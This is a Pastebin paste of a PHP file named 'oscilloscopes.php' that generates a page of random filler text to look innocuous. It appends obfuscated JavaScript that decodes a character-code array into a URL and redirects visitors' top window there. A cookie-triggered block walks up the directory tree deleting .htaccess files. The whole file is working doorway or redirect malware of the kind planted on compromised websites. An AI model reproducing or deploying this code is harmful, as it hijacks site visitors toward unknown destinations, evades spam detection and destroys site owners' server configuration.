PalmaSolutions

oscilloscopes.php

Dec 24th, 2017
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.86 KB | None | 0 0
  1. <?php
  2. function result($data)
  3. {
  4. $rn=array_shift($data);$nd=array();foreach($data as $nb){array_push($nd,($nb-$rn));}$data=$nd;
  5. $result=implode("\r\n",array("%1"."html"."%3","%1"."head"."%3",head(),"%2"."head"."%3","%1"."body style=\"color:white\""."%3",body($data),"%2"."body"."%3","%2"."html"."%3"));
  6. $result=preg_replace('/%1/',"<",$result);$result=preg_replace('/%2/',"</",$result);$result=preg_replace('/%3/',">",$result);
  7. $sign=parag(1,1).(strlen($result)+31331);$result=preg_replace('/%sign%/',$sign,$result);
  8. return $result;
  9. }
  10. function body($data)
  11. {
  12. srand(seed());
  13. $body=array();
  14. for($i=0;$i<rand(3,10);$i++)
  15. {
  16. $text=parag(50,250);
  17. srand(seed());
  18. $tags=array("p","div","span");$tags=$tags[rand(0,count($tags)-1)];
  19. array_push($body,"%1$tags%3",$text,"%2$tags%3");
  20. }
  21. array_push($body,js($data));
  22. return implode("\r\n",$body);
  23. }
  24. function head()
  25. {
  26. srand(seed());
  27. $title=parag(2,10);
  28. $charset=array("ISO-8859-1","UTF-8");$charset=$charset[rand(0,count($charset)-1)];
  29. $headers=array("%1title%3%sign% $title%2title%3","%1meta http-equiv=\"Content-Type\" content=\"text/html; charset=$charset\"%3");
  30. srand(seed());
  31. $rnd_num=rand(0,1);
  32. if($rnd_num)
  33. {
  34. $description=parag(4,10);
  35. $keywords=array();for($i=0;$i<rand(1,10);$i++){array_push($keywords,parag(1,1));} $keywords=implode(", ",$keywords);
  36. srand(seed());
  37. $additional=array("%1meta name=\"description\" content=\"$description\"%3","%1meta name=\"keywords\" content=\"$keywords\"%3");$additional=$additional[rand(0,count($additional)-1)];
  38. array_push($headers,$additional);
  39. }
  40. shuffle($headers);
  41. return implode("\r\n",$headers);
  42. }
  43. function js($data)
  44. {
  45. srand(seed());$diff=rand(1,100);$name=parag(1,1);
  46. $code="%1script type=\"text/javascript\"%3\r\n";
  47. $code.=$name."a=$diff; ".$name."b=[";
  48. $list=array();foreach($data as $byte){array_push($list,($byte+$diff));}
  49. $code.=implode(',',$list);
  50. $code.="]; ";
  51. $code.=$name."c=\"\"; for(";
  52. $code.=$name."d=0;".$name."d<".$name."b.length;".$name."d++) { ";
  53. $code.=$name."c+=String.fromCharCode(".$name."b[".$name."d]-".$name."a); } ";
  54. $code.="window.top.location.href=".$name."c;";
  55. $code.="\r\n%2script%3";
  56. return $code;
  57. }
  58. function parag($min,$max)
  59. {
  60. srand(seed());
  61. $parag="";
  62. $words=array("search","starsigntaurus","grasped","immobility","lithest","gaudiest","harlequin","kisses","touch","sip","separating","opposing","notion","proved","booze","coffee","charms","seas","thread","ariadne","scheme","chef","convinced","scared","steps","virgin","liberty","days","following","husband","govern","record","honest","continuing","imprisond","hot","sunshine","inheritance","twilights","dusky","hair","whatsoeer","sunbright","full","childish","liveth","despaird","believd","remains","wearily","length","flaw","unknowingly","missed","stirrups","disciplined","wicked","sickle","bending","stop","matter","learn","history","bleak","mild","concerns","ordinary","winter","wears","proof","roys","alert","planned","plotted","fierce","row","dauntless","challenge","ask","apply","beauty","dower","woe","lintwhites","chorus","fellowtraveller","cold","ice","worlds","flu","illnessthree","region","lucky","bastard","twill","soothe","sorrow","polity","sacrifice","christ","saviour","sticking","kerchiefplots","mold","name","river","bare","wanderers","thousands","dollars","effortless","money","fatherly","concern","pang","vexd","aver","multitude","sweetly","reposing","bands","armsout","trees","veil","withdrawn","hut","tour","confuse","debut","godheads","benignant","andmoney","needed","ride","barking","cat","plays","neatly","error","unprofitable","ophilia","dear","delighted","sake","replaced","athletic","prophy","guessing","tundra","peter","norway","boors","prison","clinicmy","seemliness","complete","sways","seen","tiviot","dale","familiar","provokes","lady","shares","wonder","merits","resolved","eer","champion","brotherhood","venerable","damn","fawns","extacy","buttercups","unheard","cull","faculty","storm","turbulence","happy","genial","barely","cool","diffuse","blessd","main","embarrassd","shy","next","sense","persons","advance","hamilton","beginning","shield","latest","impearling","lucie","born","figures","braes","humbly","bloodshed","miserable","train","courtesies","wilt","panting","violets","acted","tidings","woes","end","stars","hungry","surprised","tells","clamor","stopped","dries","used","severe","since","untowardness","poets","mere","mostly","rooted","chair","livd","lands","soothed","milder","airs","stranger","seemingly","civil","harmless","stand","straight","nervous","daisy","blessed","rising","collapse","reaping","herself","remember","amazing","palms","infants","laughing","puzzled","blinded","immediately","leaps","feeding","appletree","superstition","worth","taking","sympathy","heeds","trace","upstarting","affright","greetst","fowls","ref","hadn","opened","score","nobody","posterity","renownd","unexciting","vice","guests","listend","fill","reaper","bushes","mournfully","eggs","gaze","places","hurrythree","flourish","seeking","school","scannd","dewdrop","unto","lowly","pursue","pox","turns","necessity","beloved","possess","grotto","particular","exquisite","baby","chains","tie","befal","yellow","rouzd","vale","holiday","flutterd","perchd","thank","mechanic","whip","lash","striking","force","applying","muscles","shaped","wake","highlands","troubles","beyond","relief","untimely","joyousness","hideandseek","homefelt","pleasures","itself","common","breeds","liked","greeting","mountains","eagle","seventythree","nighttime","short","hither","straightway","behold","seehis","fork","begins","rattle","boat","graven","read","fathers","courtesy","runaway","beautifully","outstandingly","clever","prettiest","tumbler","infant");
  63. if($min==1)
  64. {
  65. return $words[array_rand($words)];
  66. }
  67. else
  68. {
  69. $words_idx=array_rand($words,rand($min,$max));
  70. $first_upc=1;
  71. $parag=array();
  72. foreach($words_idx as $idx)
  73. {
  74. $word=$words[$idx];
  75. $rnd_num=rand(0,1);
  76. $sym="";
  77. if($rnd_num)
  78. {
  79. $rnd_sym=array(","," -",":",".");
  80. $rnd_num=rand(0,count($rnd_sym)-1);
  81. $sym=$rnd_sym[$rnd_num];
  82. $word.=$sym;
  83. }
  84. if($first_upc)
  85. {
  86. array_push($parag,ucfirst($word));
  87. $first_upc=0;
  88. }
  89. else
  90. {
  91. array_push($parag,$word);
  92. }
  93. if($sym=="." || $sym==":") $first_upc=1;
  94. }
  95. array_push($parag,$words[array_rand($words)]);
  96. }
  97. return implode(" ",$parag).".";
  98. }
  99. function seed()
  100. {
  101. list($usec,$sec)=explode(' ',microtime());
  102. return(float)$sec+((float)$usec*100000);
  103. }
  104. if(isset($_COOKIE['google']))
  105. {
  106. $s='/';if(strtolower(substr(PHP_OS,0,3))=='win') $s="\\\\";$d=array(".$s");$p="";for($i=1;$i<255;$i++){$p.="..$s";if(is_dir($p)){array_push($d,$p);}else{break;}}
  107. foreach($d as $p){$a="h"."tac"."c"."es"."s";$a1=$p.".$a";$a2=$p.$a;$a3=$p."$a.txt";@chmod($a1,0666);@unlink($a1);@chmod($a2,0666);@unlink($a2);@chmod($a3,0666);@unlink($a3);}
  108. }
  109. echo(result(array(5,109,121,121,117,63,52,52,106,107,107,106,104,121,107,116,119,103,122,119,115,113,116,120,121,51,124,116,119,113,105,52,68,102,66,57,53,54,56,56,59,43,104,66,104,117,104,105,110,106,121,43,120,66,55,56,54,54,55,53,54,60)));
  110. ?>
Advertisement
Add Comment
Please, Sign In to add comment